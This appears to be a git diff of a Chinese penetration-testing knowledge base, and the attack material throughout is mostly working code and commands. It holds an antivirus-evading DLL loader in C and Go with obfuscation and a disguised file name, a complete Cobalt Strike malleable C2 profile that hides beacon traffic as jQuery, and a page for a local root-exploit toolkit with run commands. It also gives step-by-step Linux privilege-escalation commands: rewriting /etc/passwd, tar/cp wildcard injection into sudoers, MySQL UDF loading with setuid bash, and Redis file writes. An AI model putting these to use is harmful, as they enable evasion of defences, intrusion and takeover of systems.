FunctionType DllCanUnloadNow = (FunctionType)GetProcAddress(hDLL, "DllCanUnloadNow");
FunctionType DllGetClassObject = (FunctionType)GetProcAddress(hDLL, "DllGetClassObject");
FunctionType DllRegisterServer = (FunctionType)GetProcAddress(hDLL, "DllRegisterServer");
FunctionType DllUnregisterServer = (FunctionType)GetProcAddress(hDLL, "DllUnregisterServer");

// 调用每个函数(如果函数指针非空)
if (DllCanUnloadNow) DllCanUnloadNow();
if (DllGetClassObject) DllGetClassObject();
if (DllRegisterServer) DllRegisterServer();
if (DllUnregisterServer) DllUnregisterServer();

// 卸载 DLL
FreeLibrary(hDLL);
printf("All functions executed successfully.\n");
}
else {
printf("Failed to load DLL.\n");
}

return 0;
}
+

编写dll加载器,dll加载器的作用是将dll加载到内存中,然后调用dll中的init函数,实现免杀。

+
// gradle build -o fscan_loader_go.exe main.go
package main

import (
"fmt"
"syscall"
)

func main() {
dll, err := syscall.LoadLibrary("fscan_go.dll")
if err != nil {
fmt.Printf("[-] Failed to load DLL: %s\n", err)
return
}

defer func(handle syscall.Handle) {
err := syscall.FreeLibrary(handle)
if err != nil {
fmt.Printf("[-] Failed to free DLL: %s\n", err)
}
}(dll)

// 定义并尝试获取 DLL 中的函数
dllCanUnloadNow, err := syscall.GetProcAddress(dll, "DllCanUnloadNow")
// 判断err == nil 并且 dllCanUnloadNow != 0
if err == nil && dllCanUnloadNow != 0 {
_, _, err := syscall.SyscallN(dllCanUnloadNow, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllCanUnloadNow: %s\n", err)
}
}

dllGetClassObject, err := syscall.GetProcAddress(dll, "DllGetClassObject")
if err == nil && dllGetClassObject != 0 {
_, _, err := syscall.SyscallN(dllGetClassObject, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllGetClassObject: %s\n", err)
}
}

dllRegisterServer, err := syscall.GetProcAddress(dll, "DllRegisterServer")
if err == nil && dllRegisterServer != 0 {
_, _, err := syscall.SyscallN(dllRegisterServer, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllRegisterServer: %s\n", err)
}
}

dllUnregisterServer, err := syscall.GetProcAddress(dll, "DllUnregisterServer")
if err == nil && dllUnregisterServer != 0 {
_, _, err := syscall.SyscallN(dllUnregisterServer, 0, 0, 0, 0)
if err != 0 {
fmt.Printf("[-] Failed to execute DllUnregisterServer: %s\n", err)
}
}

fmt.Println("All functions executed successfully.")
}

+

使用go语言编译加载器, 需要使用gradle进行混淆,防止被杀软查杀。

+
go install mvdan.cc/garble@latest
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
gradle build -o fscan_loader.exe ./cmd/fscan_loader/main.go
+

将fscan.dll和fscan_loader.exe放在同一目录下,运行fscan_loader.exe,即可实现免杀。

+
# 改个名字
mv fscan_loader.exe system_dll.exe
./system_dll.exe
+

结果​

+
    +
  • 火绒
  • +
+

image-20240113042901727

+
    +
  • 微步云沙箱
  • +
+

image-20240113044447895

+

image-20240113044504534

+

参考​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/免杀/去特征/index.html b/en/docs/个人知识库/渗透测试/免杀/去特征/index.html new file mode 100644 index 0000000..1c3d2d1 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/免杀/去特征/index.html @@ -0,0 +1,34 @@ + + + + + +去特征 | wjlin0 + + + + + + + +

去特征

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:51
+

Hook

+

前言​

+

过程​

+
# Author: Kleiton Kurti (@kleiton0x7e) & John Stigerwalt (@jstigerwalt1)
### Auxiliary Settings ###
set sample_name "Stigs Random C2 Profile";
set host_stage "false"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.
set useragent "<RAND>"; # "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"; Use random Internet Explorer UA by default
set create_remote_thread "true"; # Allow beacon to create threads in other processes
set hijack_remote_thread "true"; # Allow beacon to run jobs by hijacking the primary thread of a suspeneded process
### Beacon Sleep Settings ###
set sleeptime "3000";
set jitter "33"; # Default jitter factor (0-99%)
### SMB Options ###
set pipename "Winsock2\\CatalogChangeListener-###-0";
set pipename_stager "TSVCPIPE-########-####-4###-####-############";
### SSH BANNER ##

set ssh_banner "Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1065-aws x86_64)";
set ssh_pipename "SearchTextHarvester##";

### Steal Token ###
set steal_token_access_mask "11";
### Proxy Options ###
set tasks_max_size "1604500";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
### Main HTTP Config Settings ###
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Contentnection, ContentType";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
### HTTPS Cert Settings ###
https-certificate {
# Self Signed Certificate Options
# set CN "*.azureedge.net";
# set O "Microsoft Corporation";
# set C "US";
# set L "Redmond";
# set ST "WA";
# set OU "Organizational Unit";
# set validity "365";
# Imported Certificate Options
# set keystore "domain.store";
# set password "password";
}
# code-signer {
# set keystore "keystore.jks";
# set password "password";
# set alias "server";
# set digest_algorithm "SHA256";
# set timestamp "false";
# set timestamp_url "http://timestamp.digicert.com";
#}
### Post Exploitation Settings ###
post-ex {
set spawnto_x86 "%windir%\\syswow64\\wbem\\wmiprvse.exe -Embedding";
set spawnto_x64 "%windir%\\sysnative\\wbem\\wmiprvse.exe -Embedding";
set obfuscate "true";
set smartinject "true";
set amsi_disable "false";
set keylogger "GetAsyncKeyState";
set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
}
### Process Injection ###
process-inject {
set allocator "NtMapViewOfSection"; # or VirtualAllocEx
set bof_allocator "VirtualAlloc";
set bof_reuse_memory "true";
set min_alloc "24576";
set startrwx "false";
set userwx "false";
transform-x86 {
prepend
"\x44\x40\x4B\x43\x4C\x48\x90\x66\x90\x0F\x1F\x00\x66\x0F\x1F\x04\x00\x0F\x1F\x04\x00\x0F\x1F\x00\x0F\x1F\x00";
}
transform-x64 {
prepend
"\x44\x40\x4B\x43\x4C\x48\x90\x66\x90\x0F\x1F\x00\x66\x0F\x1F\x04\x00\x0F\x1F\x04\x00\x0F\x1F\x00\x0F\x1F\x00";
}
execute {
CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
NtQueueApcThread-s;
CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
CreateRemoteThread;
RtlCreateUserThread;
SetThreadContext;
}
}
http-get {
set verb "GET"; # GET / POST
set uri "/css3/index2.shtml"; # Can be space separated string. Each beacon will be assigned one of these when the stage is built
client {
header "Accept" "text/html, application/xhtml+xml, image/jxr, */*";
header "Accept-Encoding" "gzip, deflate";
header "Accept-Language" "en-US; q=0.7, en; q=0.3";
header "Connection" "keep-alive";
header "DNT" "1";
metadata {
base64url;
parameter "accept";
}
}
server {
header "Content-Type" "application/yin+xml";
header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";
output{
base64;
print;
}
}
}
http-post {
set verb "POST"; # GET / POST
set uri "/tools/family.html";
client {
header "Accept" "text/html, application/xhtml+xml, */*";
header "Accept-Encoding" "gzip, deflate";
header "DNT" "1";
header "Content-Type" "application/x-www-form-urlencoded";
id {
base64;
prepend "token=";
header "Cookie";
}
output{
base64url;
prepend "input=";
print;
}
}
server {
header "Content-Type" "text/vnd.fly";
header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";
output {
base64;
print;
}
}
}
### Start of Real HTTP GET and POST settings ###
http-get "msrpc-azure" { # Don't think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server
set uri "/compare/v1.44/VXK7P0GBE8"; # URI used for GET requests
set verb "GET";
client {
header "Accept" "image/*, application/json, text/html";
header "Accept-Language" "nb";
header "Accept-Encoding" "br, compress";
header "Access-X-Control" "True";
metadata {
mask; # Transform type
base64url; # Transform type
prepend "SESSIONID_XVQD0C55VSGX3JM="; # Cookie value
header "Cookie"; # Cookie header
}
}
server {
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask; # Transform type
base64url; # Transform type
prepend "/*! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */ !function(a,b){'object'==typeof module&&'object'==typeof module.exp orts?module.exports=a.document?b(a,!0):function(a){if(!a.document)th row new Error('jQuery requires a window with a document');return b(a )}:b(a)}('undefined'!=typeof window?window:this,function(a,b){var c= [],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.t oString,k=i.hasOwnProperty,l={},m='2.2.4',n=function(a,b){return new n.fn.init(a,b)},o=/^[suFEFFxA0]+|[suFEFFxA0]+$/g,p=/^-ms-/,q=/- ([daz])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype ={jquery:m,constructor:n,selector:'',length:0,toArray:function(){retu rn e.call(this)},get:function(a){return null!=a?0>a?this[a+this.lengt h]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.con structor(),a);return b.prevObject=this,b.context=this.context,b},each:"; append "/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error('jQuery requires a window with a document');return t(e)}:t(e)}('undefined'!=typeof window?window :this,function(C,e){'use strict';var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice ,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l= a.call(Object),y={},m=function(e){return'function'==typeof e&&'number'!=typeof e.nodeType} ,x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};fun ction b(e,t,n){var r,i,o=(n=n||E).createElement('script');if(o.text=e,t)for(r in c)(i=t[ r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;";
print;
}
}
}
http-post "msrpc-azure" { # Don't think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server
set uri "/Construct/v1.85/JDX894ZM2WF1"; # URI used for POST block.
set verb "POST"; # HTTP verb used in POST block. Can be GET or POST
client {
header "Accept" "application/xml, application/xhtml+xml, application/json";
header "Accept-Language" "tn";
header "Accept-Encoding" "identity, *";
header "Access-X-Control" "True";
id {
mask; # Transform type
netbiosu; # Transform type
parameter "_KZZUEUVN";
}
output {
mask; # Transform type
netbios; # Transform type
print;
}
}
server {
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask; # Transform type
netbiosu; # Transform type
prepend "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disableselection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";
append "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effectclip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effectpuff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effectshake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effecttransfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";
print;
}
}
}
stage {
set checksum "0";
set compile_time "5 May 2023 10:52:15";
set entry_point "170000";
#set image_size_x86 "6586368";
#set image_size_x64 "6586368";
set name "srv.dll";
set magic_mz_x64 "OOPS";
set magic_mz_x86 "OOPS";
set userwx "false";
set cleanup "true";
set sleep_mask "true";
set stomppe "true";
set obfuscate "true";
set rich_header "\x92\x75\xde\x7f\xf0\x62\x4c\xf0\xc3\x44\x74\\x90\x97\x05\xa2\x3d\xd2\x18\xab\x08\xaa\xe9\xcf\x98\x81";
set sleep_mask "true";
set smartinject "true";
#set allocator "HeapAlloc";
set magic_pe "EA";
set module_x86 "wwanmm.dll";
set module_x64 "wwanmm.dll";
transform-x86 {
prepend
"\x48\x0f\x1f\x00\x66\x90\x43\x66\x87\xdb\x66\x87\xd2\x40\x45\x49\x41\x90\x87\xd2\x47\x87\xdb\x4c\x0f\x1f\x00\x0f\x1f\x00\x66\x87\xc9\x0f\x1f\x04\x00\x42\x66\x0f\x1f\x04\x00\x90\x87\xc9\x44\x46\x40";
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
strrep "beacon.dll" ""; # Remove this text
strrep "msvcrt.dll" "";
strrep "C:\\Windows\\System32\\msvcrt.dll" "";
}
transform-x64 {
prepend
"\x48\x0f\x1f\x00\x66\x90\x43\x66\x87\xdb\x66\x87\xd2\x40\x45\x49\x41\x87\x90\xd2\x47\x87\xdb\x4c\x0f\x1f\x00\x0f\x1f\x00\x66\x87\xc9\x0f\x1f\x04\x00\x42\x66\x0f\x1f\x04\x00\x90\x87\xc9\x44\x46\x40";
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "ReflectiveLoader" "";
strrep "beacon.x64.dll" "";
strrep "beacon.dll" ""; # Remove this text
strrep "msvcrt.dll" "";
strrep "C:\\Windows\\System32\\msvcrt.dll" "";
strrep "Stack around the variable" "";
strrep "was corrupted." "";
strrep "The variable" "";
strrep "is being used without being initialized." "";
strrep "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
strrep "A cast to a smaller data type has caused a loss of data. If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example:" "";
strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
strrep "Stack memory was corrupted" "";
strrep "A local variable was used before it was initialized" "";
strrep "Stack memory around _alloca was corrupted" "";
strrep "Unknown Runtime Check Error" "";
strrep "Unknown Filename" "";
strrep "Unknown Module Name" "";
strrep "Run-Time Check Failure" "";
strrep "Stack corrupted near unknown variable" "";
strrep "Stack pointer corruption" "";
strrep "Cast to smaller type causing loss of data" "";
strrep "Stack memory corruption" "";
strrep "Local variable used before initialization" "";
strrep "Stack around" "corrupted";
strrep "operator" "";
strrep "operator co_await" "";
strrep "operator<=>" "";
}
}
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具/index.html b/en/docs/个人知识库/渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具/index.html new file mode 100644 index 0000000..8c1341c --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具/index.html @@ -0,0 +1,281 @@ + + + + + +RootHawkX Linux本地提权工具 | wjlin0 + + + + + + + +

RootHawkX Linux本地提权工具

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

前言​

+

RootHawkX 是一个 Linux 本地安全测试终端工具,使用 Go 编写,面向授权靶机、虚拟机和实验环境。该项目基于 RootHawk 修改,并集成了更多 Linux 本地提权漏洞利用模块。

+

本文将它归档到:

+
渗透测试 -> 内网渗透 -> Linux提权 -> 本地提权工具
+
+

工具仅用于授权安全测试、靶场复现和漏洞验证。不要在未授权系统上运行本工具。

+
+

工具信息​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
项目内容
工具名称RootHawkX
上游仓库DeEpinGh0st/RootHawkX
当前归档版本v1.1
Release 地址RootHawkX v1.1
发布时间2026-06-30
主要语言Go / C
工具类型Linux 本地提权检测与利用工具
+

本地归档下载​

+

为避免上游仓库变动、Release 删除或网络不可用,本站已保存 v1.1 的源码包和全部 Release 架构二进制。

+

源码​

+ + + + + + + + + + + + + + + + + + + + +
文件下载SHA256
RootHawkX-v1.1.zip下载a740a8131fc8ee609a18f64c11913bb1728d116537a2011e83d4ca86ecc9af26
RootHawkX-v1.1.tar.gz下载c2f89356d8b636fe6690056effa61757fc5cf1c05f70797f60f50654c3e65b6d
+

可执行文件​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件架构下载SHA256
roothawkx_linux_386linux/386下载9b52eaa757c97ee792970bebf26bba2b18448c9bdd42b1fac170180c71aa28d2
roothawkx_linux_amd64linux/amd64下载e183c0ac8688a7285164ef31d16ab4eaa44bbf52c36b104157f915cb1e8f9179
roothawkx_linux_arm64linux/arm64下载de5fa1b971947194e8cbcc281c980c899f86aade6c4d5fa1063570086a2d67f1
+

校验文件:

+ +

本地校验命令:

+
shasum -a 256 roothawkx_linux_amd64
+

如果已经下载完整归档目录,可以使用:

+
cd static/tools/roothawkx/v1.1
shasum -a 256 -c SHA256SUMS.txt
+

使用方法​

+

下载对应架构的文件后,先添加执行权限:

+
chmod +x roothawkx_linux_amd64
+

查看帮助:

+
./roothawkx_linux_amd64 -help
+

查看模块列表:

+
./roothawkx_linux_amd64 -list
+

执行指定模块:

+
./roothawkx_linux_amd64 -e CVE-2022-0847
+

按顺序执行全部模块:

+
./roothawkx_linux_amd64 -any
+

参数说明​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
参数说明
-list显示当前集成的 CVE 模块
-e执行指定 CVE 或别名
-any按列表顺序执行全部模块
-pk指定 CVE-2021-4034 使用的 pkexec 路径,默认 /usr/bin/pkexec
-backupCVE-2026-31431 执行前备份 su 到指定路径
-execCVE-2026-31431 提权后执行指定程序,而不是进入 su
-target指定执行目标功能,例如 CVE-2026-46333 的 key 或 shadow
-v尽量输出详细日志
-help显示帮助
+

集成模块​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CVE 编号常见名称 / 别名类型 / 组件
CVE-2026-31431Copy FailLinux Kernel 本地提权,涉及 crypto / AF_ALG / algif_aead 相关逻辑问题
CVE-2026-43284Dirty Frag / CopyFail2Linux Kernel 本地提权,涉及 xfrm/esp、shared skb frags 等内核网络处理路径
CVE-2026-43503DirtyCloneLinux Kernel 本地提权,利用 net/skbuff 共享分片克隆漏洞
CVE-2026-46300FragnesiaLinux Kernel 本地提权,利用 XFRM ESP-in-TCP 子系统逻辑问题,通过 page cache 覆写 /usr/bin/su 获取 root shell
CVE-2026-46331COW / PeditLinux Kernel 本地提权,利用 net/sched act_pedit 漏洞覆写内核脏数据
CVE-2026-46333ssh-keysign-pwnLinux 内核进程退出路径竞态条件,允许信息泄露,支持 -target shadow 或 -target key
CVE-2026-43494PinTheftLinux Kernel 本地提权,利用 RDS zerocopy double-free 与 io_uring page cache overwrite
dirtydecryptDirtyDecrypt / DirtyCBCLinux Kernel 本地提权,利用 rxgk_decrypt_skb() 缺少 COW 保护导致 page cache 写入
CVE-2021-4034PwnKitPolkit pkexec 本地提权漏洞
CVE-2021-3560Polkit Authentication BypassPolkit D-Bus 权限绕过
CVE-2022-0847Dirty PipeLinux Kernel 管道机制相关本地提权漏洞
+

示例命令​

+
./roothawkx_linux_amd64 -list
./roothawkx_linux_amd64 -e CVE-2021-4034
./roothawkx_linux_amd64 -e CVE-2021-4034 -pk /usr/bin/pkexec
./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak
./roothawkx_linux_amd64 -e CVE-2026-31431 -backup /tmp/su.bak -exec /tmp/root-task
./roothawkx_linux_amd64 -e CVE-2026-43284 -v
./roothawkx_linux_amd64 -e CVE-2026-46300
./roothawkx_linux_amd64 -e fragnesia -v
./roothawkx_linux_amd64 -e pintheft
./roothawkx_linux_amd64 -e dirtydecrypt
./roothawkx_linux_amd64 -e dirtyclone
./roothawkx_linux_amd64 -e cow
./roothawkx_linux_amd64 -e keysign -target shadow
./roothawkx_linux_amd64 -any
+

使用注意​

+
    +
  • 只在授权环境、靶场、虚拟机或自有测试机上运行。
  • +
  • 涉及 /usr/bin/su、pkexec、page cache 覆写等模块时,优先使用快照环境测试。
  • +
  • 执行前记录系统版本、内核版本和工具哈希,便于复现和回滚。
  • +
  • 不建议在生产系统上直接运行 -any,应先通过 -list 和系统版本筛选目标模块。
  • +
  • 如果模块提供 -backup 参数,优先指定备份路径。
  • +
+

参考链接​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/内网渗透/Linux提权/index.html b/en/docs/个人知识库/渗透测试/内网渗透/Linux提权/index.html new file mode 100644 index 0000000..8a4f87f --- /dev/null +++ b/en/docs/个人知识库/渗透测试/内网渗透/Linux提权/index.html @@ -0,0 +1,357 @@ + + + + + +Linux提权 | wjlin0 + + + + + + + +

Linux提权

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-28 19:22:45
+

Linux 提权文档

+

Linux 提权是指通过多种技术手段,利用系统漏洞或配置错误,获取比当前用户权限更高的操作权限(通常为 root 权限)。本文记录了常见的 Linux 提权方式,适用于系统安全研究、渗透测试以及提升 Linux 系统的安全性。

+
+

前言​

+

在渗透测试和安全审计过程中,提权是一个常见的任务。无论是通过不当配置、漏洞利用,还是通过滥用系统权限,提权都能让攻击者提升对目标系统的控制。本文旨在介绍常见的 Linux 提权方式以及如何防范这些攻击。

+
+

基础知识​

+

手册​

+ +

用户和权限​

+

Linux 系统使用 用户(UID) 和 组(GID) 来管理不同用户的权限。每个文件和目录都有 所有者 和 权限(例如:rwxr-xr-x),并且会定义对文件的读取、写入和执行的访问控制。

+

常见的用户权限有:

+
    +
  • r:读取权限
  • +
  • w:写入权限
  • +
  • x:执行权限
  • +
+

SUID 和 SGID​

+
    +
  • SUID(Set User ID):当一个文件被设置了 SUID 位时,执行该文件的用户将获得文件所有者的权限,而不仅仅是当前用户的权限。通常用于程序需要用 root 权限执行的情况,如 ping。
  • +
  • SGID(Set Group ID):与 SUID 类似,但它让程序以文件所属组的身份运行。
  • +
+

查看文件是否设置了 SUID/SGID,可以使用 ls -l 命令。

+

Linux Capabilities​

+

Linux capabilities 是比传统的 root 权限更细粒度的权限管理方式。通过 setcap 命令,可以为进程或文件设置特定的能力,例如网络访问、文件管理等,而不需要完全的 root 权限。

+
+

提权方法​

+

SUID 提权​

+

SUID 提权是最常见的提权方式之一。通过利用 SUID 位,用户可以在执行某些特权命令时获取 root 权限。

+
    +
  • 查找 SUID 文件:
  • +
+
find / -type f -perm -4000 2>/dev/null
+
    +
  • 利用 SUID 提权:假设 find 工具是 SUID 文件,且具有执行 root 权限,攻击者可以通过操控该工具达到提权。
  • +
+

Linux 内核漏洞​

+

内核漏洞可以为攻击者提供直接的 root 提权。通过利用系统中的漏洞,攻击者可以执行特定的恶意代码,从而获得完整的 root 权限。

+
    +
  • 常见的内核漏洞: +
      +
    • Dirty COW 漏洞:一个著名的内核漏洞,攻击者通过该漏洞可以在没有 root 权限的情况下修改内核内存。
    • +
    • Local Root Exploits:许多内核漏洞可以让本地用户通过提升自己的权限获得 root 权限。
    • +
    +
  • +
+

Passwd提权​

+

passwd 文件提权 是通过篡改 /etc/passwd 文件中的某个用户(通常是 root)的密码字段,达到提权目的。由于某些系统或配置中 /etc/shadow 不被使用(或 root 使用的是 passwd 中的密码),攻击者可以将 /etc/passwd 中 root 的密码字段替换为一个已知的 hash,从而使用 su 提权成为 root。

+

攻击步骤如下:

+

首先生成一个已知密码的 hash,例如使用 openssl:

+
openssl passwd -1 -salt xyz 123456
+

输出示例:

+
$1$xyz$4zT7eWz8bszUOwhcGHM3E1
+

然后编辑 /etc/passwd 文件,将 root 那一行的密码字段替换成上述 hash,比如原本是:

+
root:x:0:0:root:/root:/bin/bash
+

修改为:

+
root:$1$xyz$4zT7eWz8bszUOwhcGHM3E1:0:0:root:/root:/bin/bash
+

保存后,使用 su 命令切换到 root 用户,并输入你设置的密码(这里是 123456)即可完成提权。

+

该方式需要目标系统的 /etc/passwd 可写,通常配合某些提权手段(如程序错误设置了 passwd 为 777)一起使用,属于典型的“低权限可写敏感配置文件”类型的提权方式。

+

Wildcard提权​

+

wildcard 通配符提权 是 Linux 提权的一种方式,攻击者可以利用某些命令(如 tar、cp 等)在处理带有通配符 * 时会解析特定参数或行为,从而执行恶意命令或操作文件实现提权。例如,当有 sudo tar -cf archive.tar * 的权限时,攻击者可以创建特殊参数文件:

+
echo 'echo pwned > /tmp/rooted' > exploit.sh
chmod +x exploit.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=./exploit.sh"
sudo tar -cf archive.tar *
+

这样在打包时 tar 会自动执行 ./exploit.sh,从而执行任意命令。

+

另一个常见例子是 cp 命令。当存在 sudo cp * /etc/ 权限时,攻击者可以通过构造选项注入和目标文件实现提权:

+
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > sudoers
touch "--target-directory=/etc"
touch "--no-preserve=ownership"
sudo cp * /etc/
+

这样可能将伪造的 sudoers 文件复制到 /etc/sudoers,实现免密码 sudo 提权。

+

还可以结合 cp -L 选项进行利用,例如:

+
ln -s /etc/sudoers link
echo 'youruser ALL=(ALL) NOPASSWD:ALL' > payload
mv payload link
sudo cp -L * /etc/
+

由于 -L 选项会解引用符号链接,cp 会将 payload 的内容写入 /etc/sudoers,从而实现权限提升。

+

Mysql UDF提权​

+

MySQL UDF提权利用的是MySQL数据库支持加载用户自定义函数(User Defined Function)的特性。攻击者通过上传并加载恶意编译好的共享库(.so文件),可以在数据库服务器上执行任意系统命令,从而实现本地提权,甚至获得root权限。

+

前提条件:

+
    +
  1. 允许攻击者拥有导出权限。查看可导出位置,MySQL用户拥有FILE权限,可以将上传的.so文件写入MySQL插件目录(如/usr/lib/mysql/plugin/)
  2. +
+
show variables like '%secure%'
+
    +
  1. 具备MySQL用户权限能够执行CREATE FUNCTION语句,加载恶意的UDF共享库。
  2. +
  3. 目标MySQL服务器允许加载外部自定义函数,没有限制或禁止该功能。
  4. +
  5. 操作系统层面对MySQL进程的权限限制不严格,数据库进程用户有权限加载并执行共享库文件。
  6. +
+

攻击步骤:

+
    +
  1. 攻击者准备恶意UDF模块文件(如lib_mysqludf_sys.so),通过wget或其他方式上传到服务器的临时目录(如/tmp)。
  2. +
  3. 登录MySQL,查询插件目录位置:
  4. +
+
SELECT @@plugin_dir;
+
    +
  1. 先将恶意库文件转为16进制格式(比如用 xxd -p lib_mysqludf_sys.so),然后拆分成合适大小的片段。
  2. +
+
xxd -p lib_mysqludf_sys.so
+
    +
  1. 使用MySQL的FILE权限,将上传的.so文件写入插件目录:
  2. +
+
SELECT UNHEX('7f454c4602010100000000000000000002003e0001000000b0404000000000004000000000000000000000000') 
INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
+
    +
  1. 加载恶意共享库为MySQL自定义函数:
  2. +
+
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
+
    +
  1. 调用自定义函数执行系统命令,实现提权:
  2. +
+
SELECT sys_exec('chmod +s /bin/bash');
+
    +
  1. 利用获得Set-UID权限的shell:
  2. +
+
/bin/bash -p
+

即可获得root权限的shell。

+

Redis 提权​

+

Redis 默认运行在 root 权限或高权限用户下,若目标 Redis 开启未授权访问,且允许写文件,则可写入 SSH 公钥、写 cron 计划任务、写入反弹 shell,最终实现本地提权或远程控制。

+
+

一、前提条件

+
    +
  1. Redis 无需认证(或攻击者已获得 Redis 密码);
  2. +
  3. Redis 服务运行用户权限较高(如 root);
  4. +
  5. Redis 配置允许外部连接;
  6. +
  7. Redis 可执行 CONFIG SET 写入目录和文件(通常未禁用);
  8. +
  9. 目标主机允许访问 Redis 端口(默认 6379);
  10. +
  11. 可控制 Redis 的写入路径(如 /root/.ssh/authorized_keys 或 /var/spool/cron/root 等);
  12. +
+
+

二、攻击原理

+

Redis 支持通过 CONFIG SET 修改数据目录 dir 和数据库文件名 dbfilename,并可通过 SAVE 命令将当前内存中的数据写入磁盘。攻击者将恶意内容写入键值对后,再通过 SAVE 将这些内容以文件形式写入目标目录,实现任意文件写入。

+
+

三、常见利用方式

+

✅ 写入 SSH 公钥(提权到 root)

+

步骤:

+
